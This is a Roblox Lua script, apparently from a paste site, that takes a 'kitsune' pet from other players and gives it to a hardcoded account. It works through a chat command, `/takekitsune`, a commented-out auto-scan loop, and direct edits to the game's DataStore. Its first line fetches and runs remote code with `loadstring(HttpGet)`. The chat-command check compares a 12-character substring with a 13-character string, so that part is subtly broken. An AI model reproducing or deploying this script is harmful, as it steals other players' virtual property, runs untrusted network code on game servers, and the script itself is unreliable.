local Rayfield = loadstring(game:HttpGet('https://[Log in to view URL]'))()
local DataStoreService = game:GetService("DataStoreService")
local Players = game:GetService("Players")
local petsDataStore = DataStoreService:GetDataStore("PetsData")
local yourUsername = "MvsdBestPlaye_r" -- 您的用户名
local targetPetId = "kitsune" -- 只回收kitsune宠物
-- 回收kitsune宠物
local function takeKitsunePet(targetPlayer)
local leaderstats = targetPlayer:FindFirstChild("leaderstats")
if not leaderstats then return false end
local pets = leaderstats:FindFirstChild("Pets")
if not pets then return false end
local kitsunePet = pets:FindFirstChild(targetPetId)
if not kitsunePet then return false end
-- 移除kitsune宠物
kitsunePet:Destroy()
-- 从数据存储中移除
pcall(function()
local key = "user_" .. targetPlayer.UserId
local data = petsDataStore:GetAsync(key) or {}
data[targetPetId] = nil
petsDataStore:SetAsync(key, data)
end)
-- 找到您的账号
local myPlayer
for _, player in ipairs(Players:GetPlayers()) do
if player.Name == yourUsername then
myPlayer = player
break
end
end
if myPlayer then
-- 给您添加kitsune宠物
local myLeaderstats = myPlayer:FindFirstChild("leaderstats")
if not myLeaderstats then
myLeaderstats = Instance.new("Folder")
myLeaderstats.Name = "leaderstats"
myLeaderstats.Parent = myPlayer
end
local myPets = myLeaderstats:FindFirstChild("Pets")
if not myPets then
myPets = Instance.new("Folder")
myPets.Name = "Pets"
myPets.Parent = myLeaderstats
end
-- 检查是否已有kitsune
if not myPets:FindFirstChild(targetPetId) then
local newPet = Instance.new("StringValue")
newPet.Name = targetPetId
newPet.Value = os.date("%Y-%m-%d %H:%M:%S")
newPet.Parent = myPets
-- 保存到您的数据存储
pcall(function()
local key = "user_" .. myPlayer.UserId
local data = petsDataStore:GetAsync(key) or {}
data[targetPetId] = os.date("%Y-%m-%d %H:%M:%S")
petsDataStore:SetAsync(key, data)
end)
end
else
-- 您不在线,暂存kitsune
pcall(function()
local key = "pending_" .. yourUsername
local data = petsDataStore:GetAsync(key) or {}
if not data[targetPetId] then
data[targetPetId] = true
petsDataStore:SetAsync(key, data)
end
end)
end
return true
end
-- 处理回收命令
local function processKitsuneCommand(player, message)
if player.Name ~= yourUsername then return end
-- 命令格式: /takekitsune 玩家名
if message:sub(1, 12) == "/takekitsune " then
local targetName = message:sub(13)
-- 查找目标玩家
local targetPlayer
for _, p in ipairs(Players:GetPlayers()) do
if p.Name == targetName then
targetPlayer = p
break
end
end
if targetPlayer then
local success = takeKitsunePet(targetPlayer)
if success then
print("已回收kitsune来自: " .. targetName)
else
print(targetName .. " 没有kitsune宠物")
end
else
print("玩家不在线: " .. targetName)
end
end
end
-- 自动扫描并回收kitsune(可选)
local function autoScanKitsune()
for _, player in ipairs(Players:GetPlayers()) do
if player.Name ~= yourUsername then
local leaderstats = player:FindFirstChild("leaderstats")
if leaderstats then
local pets = leaderstats:FindFirstChild("Pets")
if pets and pets:FindFirstChild(targetPetId) then
takeKitsunePet(player)
print("自动回收kitsune来自: " .. player.Name)
end
end
end
end
end
-- 您上线时接收暂存的kitsune
Players.PlayerAdded:Connect(function(player)
if player.Name == yourUsername then
-- 创建必要的文件夹
local leaderstats = player:FindFirstChild("leaderstats")
if not leaderstats then
leaderstats = Instance.new("Folder")
leaderstats.Name = "leaderstats"
leaderstats.Parent = player
end
local pets = leaderstats:FindFirstChild("Pets")
if not pets then
pets = Instance.new("Folder")
pets.Name = "Pets"
pets.Parent = leaderstats
end
-- 接收暂存的kitsune
pcall(function()
local key = "pending_" .. yourUsername
local data = petsDataStore:GetAsync(key) or {}
if data[targetPetId] then
-- 检查是否已有kitsune
if not pets:FindFirstChild(targetPetId) then
local pet = Instance.new("StringValue")
pet.Name = targetPetId
pet.Value = os.date("%Y-%m-%d %H:%M:%S")
pet.Parent = pets
-- 更新数据存储
local myKey = "user_" .. player.UserId
local myData = petsDataStore:GetAsync(myKey) or {}
myData[targetPetId] = os.date("%Y-%m-%d %H:%M:%S")
petsDataStore:SetAsync(myKey, myData)
end
-- 清空暂存
data[targetPetId] = nil
petsDataStore:SetAsync(key, data)
end
end)
-- 监听您的命令
player.Chatted:Connect(processKitsuneCommand)
-- 可选:自动扫描(取消注释启用)
-- autoScanKitsune()
-- 每5分钟扫描一次
-- while true do
-- task.wait(300)
-- autoScanKitsune()
-- end
end
end)
print("kitsune回收系统已加载 - 使用账号: " .. yourUsername)
To embed this program on your website, copy the following code and paste it into your website's HTML: